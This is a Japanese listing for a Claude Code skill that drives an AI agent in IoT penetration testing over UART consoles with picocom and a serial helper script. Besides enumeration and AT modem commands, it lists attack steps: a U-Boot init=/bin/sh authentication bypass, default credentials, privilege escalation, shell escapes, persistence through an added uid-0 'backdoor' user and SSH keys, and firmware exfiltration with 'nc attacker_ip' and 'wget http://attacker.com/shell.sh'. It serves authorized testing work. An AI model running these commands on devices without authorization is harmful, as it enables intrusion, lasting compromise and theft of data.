picocom について
picocomは、UARTコンソール経由でIoTデバイスを調査するセキュリティ研究者向けのスキルです。シリアル用ヘルパーで、対話・一括コマンド、受動監視、ATインターフェース、セッション記録を扱えます。
主な機能
- 01対話型・一括シリアルコマンド
- 02プロンプト検出とタイムアウト処理
- 03トリガー対応のUART受動監視
- 04ATコマンドインターフェース対応
- 05タイムスタンプ付きセッション記録
活用シーン
- 01IoTデバイスのシェル列挙
- 02起動・デバッグログの取得
- 03外部イベント後のUART出力確認
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ brownfinesecurity/ iothackbot --skill picocomインストール後、Claude Code で/picocomを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
examples.mdOBSERVING_SESSIONS.mdserial_helper.py詳細
IoT UART コンソール(picocom)
このスキルでは、picocom を使用して IoT デバイスの UART コンソールを操作し、セキュリティテストやペネトレーションテストを実施できます。ブートローダーとの対話、シェルアクセス(認証の有無を問わない)、デバイスの列挙、脆弱性の発見に対応しています。
前提条件
- システムに picocom がインストールされていること
- Python 3 と pyserial ライブラリ(Arch では
sudo pacman -S python-pyserial、またはpip install pyserial) - 対象デバイスへの UART 接続(USB-シリアルアダプター、FTDI ケーブルなど)
- シリアルデバイス(通常は /dev/ttyUSB* または /dev/ttyACM*)への適切なアクセス権限
推奨アプローチ:シリアルヘルパースクリプト
重要:このスキルには、シリアル通信のためのシンプルで信頼性の高いインターフェースを提供する Python ヘルパースクリプト(serial_helper.py)が含まれています。IoT デバイスを操作する際には、この方法を推奨します。
デフォルトのセッションログ記録
Claude が実行するすべてのコマンドは、デフォルトで /tmp/serial_session.log に記録されます。
Claude の動作をリアルタイムで確認するには:
# In a separate terminal, run:
tail -f /tmp/serial_session.log
これにより、接続に干渉せずに、すべてのシリアル I/O を発生と同時に確認できます。
シリアルヘルパーを使う理由
このヘルパースクリプトは、picocom を直接使用する際に起こる多くの問題を解決します。
- クリーンな出力:コマンドのエコー、プロンプト、ANSI コードを自動的に削除します
- プロンプト検出:デバイスのプロンプトを自動的に検出して待機します
- タイムアウト処理:任意のスリープを使わず、適切にタイムアウトを管理します
- 簡単なスクリプト化:単一のコマンドや一括操作に使えるシンプルなコマンドラインインターフェース
- セッションログ記録:観察用にすべての I/O を
/tmp/serial_session.logに記録します - 信頼性:TTY 要件やバックグラウンドプロセスに関する問題がありません
シリアルヘルパーでクイックスタート
単一コマンド:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help"
カスタムプロンプトを指定する場合(既知のデバイスに推奨):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --prompt "User@[^>]+>" --command "ifconfig"
対話モード:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --interactive
ファイルからの一括コマンド:
# Create a file with commands (one per line)
echo -e "help\ndate\nifconfig\nps" > commands.txt
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --script commands.txt
JSON 出力(解析用):
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --json
デバッグモード:
python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command "help" --debug
セッションログ記録(観察用):
# Terminal 1 - Run with logging
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--prompt "User@[^>]+>" \
--logfile /tmp/session.log \
--interactive
# Terminal 2 - Watch the session in real-time
tail -f /tmp/session.log
注:シリアルセッションの監視について詳しくは、OBSERVING_SESSIONS.md を参照してください。
基本的な接続と列挙、U-Boot ブートローダーの悪用、ログイン認証のバイパス、制限付きユーザーからの権限昇格、ファームウェアの抽出について、実践的な攻撃手順を詳しく説明した examples.md を参照してください。
モニターモード(受動リスニング)
新機能:モニターモードは、プロンプトや対話なしでデバイスがログを出力する状況で、UART を受動的に監視するためのモードです。
使用例:
- 対話型コンソールを持たないデバイスの起動ログを監視する
- 外部操作の実行時に出力される情報を取得する
- ネットワークリクエストやハードウェアイベントによって UART ログが生成されるかをテストする
- トリガー前後の出力を比較する
基本的な受動監視:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--logfile /tmp/uart.log
外部トリガースクリプトを使った監視:
# Run external script after 5 seconds and capture triggered UART output
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "python3 /path/to/test_script.py" \
--trigger-delay 5 \
--logfile /tmp/triggered_uart.log
ベースラインを取得する監視:
# Capture 10s baseline, run trigger at 15s, continue for total 60s
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 60 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 15 \
--baseline-duration 10 \
--logfile /tmp/reboot_monitor.log
モニターモードのオプション:
--duration SECONDS- 監視する合計時間(デフォルト:30)--trigger-script CMD- 監視中に実行する外部コマンド/スクリプト--trigger-delay SECONDS- トリガーを実行するタイミング(デフォルト:5)--baseline-duration SECONDS- トリガー前にベースラインを取得する時間(デフォルト:0)--logfile FILE- すべての I/O をファイルに記録する--json- 結果を JSON 形式で出力する
出力内容:
- タイムスタンプ付きのリアルタイムコンソール出力
- ベースライン、トリガー、トリガー後の分類
- トリガースクリプトの終了コードと出力
- 要約統計(各フェーズで取得したバイト数)
- 取得したすべてのデータを含むタイムライン
シリアルヘルパーのオプション
Required (one of):
--command, -c CMD Execute single command
--interactive, -i Enter interactive mode
--script, -s FILE Execute commands from file
--monitor, -m Passive monitoring mode (just listen, no commands)
Connection Options:
--device, -d DEV Serial device (default: /dev/ttyUSB0)
--baud, -b RATE Baud rate (default: 115200)
--timeout, -t SECONDS Command timeout (default: 3.0)
--prompt, -p PATTERN Custom prompt regex pattern
--at-mode, -a AT command mode for cellular/satellite modems
Monitor Mode Options:
--duration SECONDS Monitoring duration (default: 30.0)
--trigger-script CMD External script/command to run during monitoring
--trigger-delay SECONDS Seconds before running trigger (default: 5.0)
--baseline-duration SEC Baseline capture duration (default: 0.0)
Output Options:
--raw, -r Don't clean output (show echoes, prompts)
--json, -j Output in JSON format
--logfile, -l FILE Log all I/O to file (can tail -f in another terminal)
--debug Show debug information
一般的なプロンプトパターン
ヘルパースクリプトには一般的なプロンプトパターンが含まれていますが、独自のパターンを指定することもできます。
# Uniview camera
--prompt "User@[^>]+>"
# Standard root/user prompts
--prompt "[#\$]\s*$"
# U-Boot bootloader
--prompt "=>\s*$"
# Custom device
--prompt "MyDevice>"
AT コマンドモード(セルラー/衛星モデム)
重要:AT コマンドインターフェース(セルラーモデム、衛星モデム、GPS モジュール)を操作する場合は、--at-mode フラグを使用してください。AT インターフェースにはシェルプロンプトがなく、OK、ERROR、または特定の結果コードを返します。
AT モードを使用する場合:
- セルラーモデム(Quectel、Sierra Wireless、u-blox、SIMCom、Telit)
- 衛星モデム(Iridium、Globalstar)
- AT インターフェースを備えた GPS モジュール
- AT コマンドに
OK/ERRORで応答するデバイス
AT コマンドの基本的な使用方法:
# Single AT command
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT" \
--logfile /tmp/serial_session.log
# Get modem info
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "ATI" \
--logfile /tmp/serial_session.log
# Get IMEI
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--command "AT+CGSN" \
--logfile /tmp/serial_session.log
AT モードでの列挙例:
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
LOGFILE="/tmp/serial_session.log"
# Basic connectivity test
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT"
# Device identification
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "ATI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMM"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGMR"
# SIM and network info
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CGSN"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CIMI"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CCID"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CSQ"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+CREG?"
$HELPER --device $DEVICE --at-mode --logfile "$LOGFILE" --command "AT+COPS?"
ファイルからの AT コマンドの一括実行:
# Create AT command script
cat > at_enum.txt << 'EOF'
AT
ATI
AT+CGMI
AT+CGMM
AT+CGMR
AT+CGSN
AT+CSQ
AT+CREG?
AT+COPS?
EOF
# Execute batch
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--script at_enum.txt \
--logfile /tmp/serial_session.log
対話型 AT セッション:
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--at-mode \
--interactive \
--logfile /tmp/serial_session.log
AT モードの応答処理:
OK- コマンドが成功しましたERROR- コマンドが失敗しました(一般的なエラー)+CME ERROR: <code>- コード付きの移動体機器エラー+CMS ERROR: <code>- コード付きの SMS 関連エラーNO CARRIER- 接続が切断されたか、失敗しましたCONNECT- データ接続が確立しました
ペネトレーションテストでよく使う AT コマンドのカテゴリ:
# Network and connectivity
AT+CGDCONT? # PDP context (APN settings)
AT+QIOPEN # Open socket (Quectel)
AT+QISTATE? # Socket state (Quectel)
# Device management
AT+CFUN? # Phone functionality
AT+CPIN? # SIM PIN status
AT+CLCK # Facility lock (SIM lock status)
# Firmware and updates
AT+CGMR # Firmware version
AT+QGMR # Extended firmware info (Quectel)
# Debug/engineering modes (may expose sensitive info)
AT+QENG # Engineering mode (Quectel)
AT$QCPWD # Password commands (Qualcomm)
シリアルヘルパーを使ったデバイス列挙の例
デバイスを安全に列挙する完全な例を示します。
# Set variables for convenience
HELPER="python3 .claude/skills/picocom/serial_helper.py"
DEVICE="/dev/ttyUSB0"
PROMPT="User@[^>]+>" # Adjust for your device
LOGFILE="/tmp/serial_session.log"
# Get available commands
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "help"
# System information
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "date"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "runtime"
# Network configuration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ifconfig"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "route"
# Process listing (may need longer timeout)
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --timeout 5 --command "ps"
# File system exploration
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "ls /etc"
# Device identifiers
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "getudid"
$HELPER --device $DEVICE --prompt "$PROMPT" --logfile "$LOGFILE" --command "catmwarestate"
CLAUDE CODE 向け重要事項:このスキルを使用する際は、ユーザーが tail -f /tmp/serial_session.log で動作を監視できるよう、すべてのコマンドに必ず --logfile /tmp/serial_session.log を含めてください。
ペネトレーションテストのユースケース:トリガーベースの UART 解析
IoT のペネトレーションテストでよくあるシナリオとして、ネットワークリクエスト、API 呼び出し、またはハードウェアイベントによって UART にデバッグ出力が生成されるかをテストします。
例:API リクエストで UART ログが生成されるかをテストする
# Monitor UART while sending network request
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 30 \
--trigger-script "curl -X POST http://192.168.1.100/api/update" \
--trigger-delay 5 \
--logfile /tmp/api_test.log
# Review what the device logged when API was called
cat /tmp/api_test.log
例:認証の試行をテストする
# Monitor UART during login attempts
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 45 \
--trigger-script "python3 brute_force_login.py" \
--trigger-delay 10 \
--baseline-duration 5 \
--logfile /tmp/auth_test.log \
--json > /tmp/auth_results.json
例:起動シーケンスの解析
# Capture device boot logs (reboot via network API)
python3 .claude/skills/picocom/serial_helper.py \
--device /dev/ttyUSB0 \
--monitor \
--duration 120 \
--trigger-script "curl http://192.168.1.100/api/reboot" \
--trigger-delay 5 \
--logfile /tmp/boot_sequence.log
ペネトレーションテストで役立つ理由:
- デバイスの UART ログには、機密情報(パスワード、キー、パスなど)が漏えいすることがよくあります
- デバッグ出力から、内部 API エンドポイントやプロトコルが判明する場合があります
- エラーメッセージから脆弱性が明らかになることがあります
- 起動ログには、セキュアブートの状態、読み込まれたモジュール、ファイルシステムのパスが記録されます
- 認証の試行時に、ユーザー名やトークンが平文で記録されることがあります
CLAUDE CODE 向け重要事項:このスキルを使用する際は、ユーザーが tail -f /tmp/serial_session.log で動作を監視できるよう、すべてのコマンドに必ず --logfile /tmp/serial_session.log を含めてください。
代替手段:picocom を直接使用する(上級者向け)
ブート中のブートローダーとのやり取りなど、picocom に直接アクセスする必要がある場合は、picocom を直接使用できます。ただし、手順が複雑になり、エラーも発生しやすくなります。
手順
1. 接続の設定
重要:picocom は対話型で動作するため、標準の stdin/stdout パイプ経由では制御できません。次の方法を使用してください。
run_in_background: trueを指定して、必ずバックグラウンドシェルで picocom を実行します- BashOutput ツールを使用して応答を読み取り、出力を監視します
Ctrl-A Ctrl-Sで送信モードに入るか、デバイスファイルに直接書き込んでコマンドを送信します
デフォルトの接続コマンド:
picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0
デフォルト設定(特に指定がない場合):
- ボーレート:115200(IoT デバイスで最も一般的)
- デバイス:/dev/ttyUSB0(最も一般的な USB-シリアル変換アダプター)
- 常に
--nolockを使用する:ユーザーから別途指定がない限り、ファイルロックの問題を防ぎます
代替ボーレート(115200 で動作しない場合):
- 57600
- 38400
- 19200
- 9600
- 230400(あまり一般的ではない高速設定)
代替デバイスパス:
- /dev/ttyUSB0、/dev/ttyUSB1、/dev/ttyUSB2、...(USB-シリアル変換アダプター)
- /dev/ttyACM0、/dev/ttyACM1、...(USB CDC デバイス)
- /dev/ttyS0、/dev/ttyS1、...(内蔵シリアルポート)
picocom の必須オプション:
-bまたは--baud:ボーレートを設定します(デフォルトでは 115200 を使用)--nolock:ファイルロックを無効にします(ユーザーから無効にしないよう指定されない限り、必ず使用してください)--omap crlf:出力の CR を CRLF にマッピングします(書式の調整に役立ちます)--echo:ローカルエコーを有効にします(入力した内容を確認できます)--logfile <file>:セッションの出力をすべてファイルに記録します(推奨)-qまたは--quiet:picocom のステータスメッセージを抑制します--imap lfcrlf:入力の LF を CRLF にマッピングします(必要な場合があります)
2. コンソールの状態を確認する
接続後、デバイスの状態を特定する必要があります。
a) 空白/無応答のコンソール:
- Enter を数回押して、プロンプトが表示されるか確認します
- Ctrl-C を押して、実行中のプロセスを中断してみます
- それでも何も表示されない場合、デバイスはブートローダーの待機状態になっている可能性があります。スペースバーや、ほかのブートローダー割り込みキーを試します
b) ブートローダー(U-Boot など):
U-Boot>、=>、uboot>、Boot>のようなプロンプトを探します- ブートローダーでは、割り込み可能なカウントダウンが表示されることがよくあります
- 一般的な割り込みキー:スペース、Enter、起動メッセージに記載された特定のキー
c) ログインプロンプト:
login:またはusername:のプロンプトを探します- IoT デバイスで一般的なデフォルト認証情報:
- root / root
- admin / admin
- root / (パスワードなし)
- admin / password
- メーカーのドキュメントやオンラインデータベースを確認します
d) シェルアクセス:
- root シェルに直接入れる場合があります
#、$、>、またはカスタムプロンプトのような表示を探します
2.1. BusyBox シェル(ほとんどの IoT デバイス)
重要:IoT デバイスの大部分は、組み込みシステム向けに設計された軽量な Unix ユーティリティ群、BusyBox を使用しています。BusyBox は、コマンド機能が限られた最小限のシェル環境を提供します。
BusyBox の識別:
# Check what shell you're using
busybox
busybox --help
# Or check symlinks
ls -la /bin/sh
# Often shows: /bin/sh -> /bin/busybox
# List available BusyBox applets
busybox --list
BusyBox の制限事項:
- 多くの標準的な Linux コマンドは、簡易版の場合があります
- 一般的なフラグやオプションの一部が利用できない場合があります
- タブ補完などの機能が制限されていたり、利用できなかったりします
- 通常の Linux 環境で使える攻撃手法の一部は、機能しない場合があります
一般的に利用できる BusyBox コマンド:
# Core utilities (usually available)
cat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown
ps, kill, top, free, df, mount, umount
grep, find, sed, awk (limited versions)
ifconfig, route, ping, netstat, telnet
vi (basic text editor - no syntax highlighting)
# Check what's available
busybox --list | sort
ls /bin /sbin /usr/bin /usr/sbin
ペネトレーションテストにおける BusyBox 固有の考慮事項:
psの出力形式は、標準的な Linux と異なる場合があります- 一部の権限昇格手法には、BusyBox に含まれていないコマンドが必要です
- ファイル権限は通常どおり機能します(SUID、スティッキービットなど)
- ネットワークツールは用意されていることがよくあります(telnet、wget、nc/netcat、ftpget)
- デバイスのストレージ容量に制約があるため、Python/Perl/Ruby は通常利用できません
列挙に便利な BusyBox コマンド:
# Check BusyBox version (may have known vulnerabilities)
busybox | head -1
# Network utilities often available
nc -l -p 4444 # Netcat listener
wget http://attacker.com/shell.sh
ftpget server file
telnet 192.168.1.1
# httpd (web server) often included
busybox httpd -p 8080 -h /tmp # Quick file sharing
参考ドキュメント:
3. コンソールを操作する
picocom にコマンドを送信する:
picocom は対話型なので、いくつかの方法があります。
方法 A:デバイスファイルに直接書き込む
echo "command" > /dev/ttyUSB0
方法 B:expect などのツールを使用する
expect -c "
spawn picocom -b 115200 --nolock /dev/ttyUSB0
send \"command\r\"
expect \"#\"
exit
"
方法 C:picocom の代わりに screen を使用する(スクリプト化が容易な場合があります)
screen /dev/ttyUSB0 115200
picocom のキーボードショートカット:
Ctrl-A Ctrl-X:picocom を終了しますCtrl-A Ctrl-Q:リセットせずに終了しますCtrl-A Ctrl-U:ボーレートを上げますCtrl-A Ctrl-D:ボーレートを下げますCtrl-A Ctrl-T:ローカルエコーを切り替えますCtrl-A Ctrl-S:ファイルを送信します(コマンドの送信に使用できます)
4. デバイスを列挙する
シェルにアクセスできたら、次の情報を収集します。
システム情報:
# Kernel and system info
uname -a
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo
# Distribution/firmware info
cat /etc/issue
cat /etc/*release*
cat /etc/*version*
# Hostname and network
hostname
cat /etc/hostname
ifconfig -a
ip addr show
cat /etc/network/interfaces
cat /etc/resolv.conf
# Mounted filesystems
mount
cat /proc/mounts
df -h
# Running processes
ps aux
ps -ef
top -b -n 1
ユーザーと権限の情報:
# Current user context
id
whoami
groups
# User accounts
cat /etc/passwd
cat /etc/shadow # If readable - major security issue!
cat /etc/group
# Sudo/privilege info
sudo -l
cat /etc/sudoers
ネットワークサービス:
# Listening services
netstat -tulpn
ss -tulpn
lsof -i
# Firewall rules
iptables -L -n -v
cat /etc/iptables/*
注目すべきファイルとディレクトリ:
# Configuration files
ls -la /etc/
find /etc/ -type f -readable
# Web server configs
ls -la /etc/nginx/
ls -la /etc/apache2/
ls -la /var/www/
# Credentials and keys
find / -name "*.pem" 2>/dev/null
find / -name "*.key" 2>/dev/null
find / -name "*password*" 2>/dev/null
find / -name "*credential*" 2>/dev/null
grep -r "password" /etc/ 2>/dev/null
# SUID/SGID binaries (privilege escalation vectors)
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
# World-writable files/directories
find / -perm -2 -type f 2>/dev/null
find / -perm -2 -type d 2>/dev/null
# Development/debugging tools
which gdb gcc python perl ruby tcpdump
ls /usr/bin/ /bin/ /sbin/ /usr/sbin/
5. ブートローダーの悪用
ブートローダー(U-Boot など)にアクセスできる場合:
一般的な U-Boot コマンド:
# Print environment variables
printenv
# Modify boot arguments (e.g., init=/bin/sh for root shell)
setenv bootargs "${bootargs} init=/bin/sh"
saveenv
boot
# Alternative: single user mode
setenv bootargs "${bootargs} single"
setenv bootargs "${bootargs} init=/bin/bash"
# Boot from network (TFTP) for custom firmware
setenv serverip 192.168.1.100
setenv ipaddr 192.168.1.200
tftpboot 0x80000000 custom_image.bin
bootm 0x80000000
# Memory examination
md <address> # Memory display
mm <address> # Memory modify
mw <address> <value> # Memory write
# Flash operations
erase <start> <end>
cp.b <source> <dest> <count>
# Other useful commands
help
bdinfo # Board info
version
reset
6. 権限昇格(root でない場合)
一般的な脆弱性を確認する:
# Kernel exploits
uname -r # Check kernel version for known exploits
# Check for exploitable services
ps aux | grep root
# Writable service files
find /etc/init.d/ -writable 2>/dev/null
find /lib/systemd/system/ -writable 2>/dev/null
# Cron jobs
crontab -l
ls -la /etc/cron*
cat /etc/crontab
7. 永続化と追加アクセス
追加のアクセス方法を確立する:
# Add SSH access
mkdir -p /root/.ssh
echo "your_ssh_public_key" >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
chmod 700 /root/.ssh
# Start SSH service (if not running)
/etc/init.d/ssh start
# or
/etc/init.d/sshd start
# or
/etc/init.d/dropbear start # Common on embedded devices
# Add a backdoor user
echo "backdoor:x:0:0::/root:/bin/sh" >> /etc/passwd
passwd backdoor
# Add to startup scripts
echo "/path/to/backdoor &" >> /etc/rc.local
8. ファームウェアの抽出
オフライン分析用にファームウェアを抽出する:
# Find MTD partitions (common on embedded devices)
cat /proc/mtd
cat /proc/partitions
# Dump flash partitions
dd if=/dev/mtd0 of=/tmp/bootloader.bin
dd if=/dev/mtd1 of=/tmp/kernel.bin
dd if=/dev/mtd2 of=/tmp/rootfs.bin
# Copy to external storage or network
# If network is available:
nc attacker_ip 4444 < /tmp/rootfs.bin
# If USB storage is available:
mount /dev/sda1 /mnt
cp /tmp/*.bin /mnt/
umount /mnt
9. クリーンアップと終了
picocom を終了するには:
Ctrl-Aに続けてCtrl-Xを押します- または、別のターミナルから
killall picocomを実行します
バックグラウンドシェルを終了する必要がある場合:
- 適切な shell_id を指定して KillShell ツールを使用します
一般的な IoT デバイスのシナリオ
シナリオ 1:認証不要のシェル
# Connect
picocom -b 115200 --nolock /dev/ttyUSB0
# Press Enter, get root shell immediately
# Enumerate and exploit
シナリオ 2:パスワードで保護されたシェル
# Connect and see login prompt
# Try default credentials:
# - root/root
# - admin/admin
# - root/(empty)
# Search online for device-specific defaults
シナリオ 3:ブートローダーから root シェルへ
# Interrupt boot countdown (press Space/Enter)
# Get U-Boot prompt
setenv bootargs "${bootargs} init=/bin/sh"
boot
# Get root shell without authentication
シナリオ 4:制限付きシェルからの脱出
# If you get a limited shell:
# Try common escape techniques:
echo $SHELL
/bin/sh
/bin/bash
vi # Then :!/bin/sh
less /etc/passwd # Then !/bin/sh
find / -exec /bin/sh \;
awk 'BEGIN {system("/bin/sh")}'
セキュリティテストのチェックリスト
- デバイスとファームウェアのバージョンを特定する
- デフォルトの認証情報を確認する
- ネットワークサービスと開いているポートを列挙する
- ファイル内にハードコードされた認証情報がないか確認する
- コマンドインジェクションの脆弱性をテストする
- ファイルの権限を確認する(SUID、全ユーザーが書き込み可能)
- ブートローダーのセキュリティをテストする(パスワード保護、コマンド制限)
- 既知の CVE がある古いソフトウェアがないか確認する
- 権限昇格につながる経路をテストする
- オフライン分析用にファームウェアを抽出する
- スクリーンショットやログを添えてすべての調査結果を記録する
ベストプラクティス
- セッションは必ず記録する:
--logfile session.logを使用します - すべて記録する:コマンド、応答、調査結果をメモします
- 辛抱強く待つ:デバイスによっては応答が遅く、時間がかかる場合があります
- ボーレートを確認する:ボーレートが間違っていると、文字化けした出力になります。文字化けが見られる場合は、一般的なボーレートを試します
- デバイスについて調査する:既知の脆弱性、デフォルトの認証情報、よくある問題を調べます
- 適切な許可を得る:所有しているデバイス、またはテストの明示的な許可を得たデバイスのみをペネトレーションテストの対象にします
- バックアップする:可能であれば、変更を加える前にファームウェアをバックアップします
- ブートローダーの操作には注意する:コマンドを誤ると、デバイスが起動不能になる場合があります
トラブルシューティング
問題:文字化けしたテキストや不明な文字が表示される
- 解決策:ボーレートが間違っています。115200、57600、38400、19200、9600 を試します
問題:出力がまったくない
- 解決策:物理的な接続を確認し、Enter キーを押してみます。デバイスの電源が入っているか確認します
問題:「Device busy」または「Permission denied」と表示される
- 解決策:シリアルポートを使用しているほかのプログラムを終了し、ユーザー権限を確認します(
sudo usermod -a -G dialout $USER)
問題:コマンドがエコーされない
- 解決策:
--echoフラグでローカルエコーを有効にするか、picocom でCtrl-A Ctrl-Tを押します
問題:行末が正しくない(余分な行ができる、または改行されない)
- 解決策:
--omap crlfまたは--imap lfcrlfオプションを使用します
使用例
# Basic connection (using defaults)
picocom -b 115200 --nolock --echo --omap crlf /dev/ttyUSB0
# Connection with logging
picocom -b 115200 --nolock --echo --logfile iot_pentest.log /dev/ttyUSB0
# Quiet mode (suppress picocom messages)
picocom -b 115200 --nolock -q --echo /dev/ttyUSB0
# Run in background for scripted interaction
picocom -b 115200 --nolock /dev/ttyUSB0 &
# Then use BashOutput to monitor
参考資料
- picocom のドキュメント
- U-Boot のドキュメント
- IoT ペネトレーションテストのリソースと脆弱性データベース
- デバイス固有のドキュメントとデータシート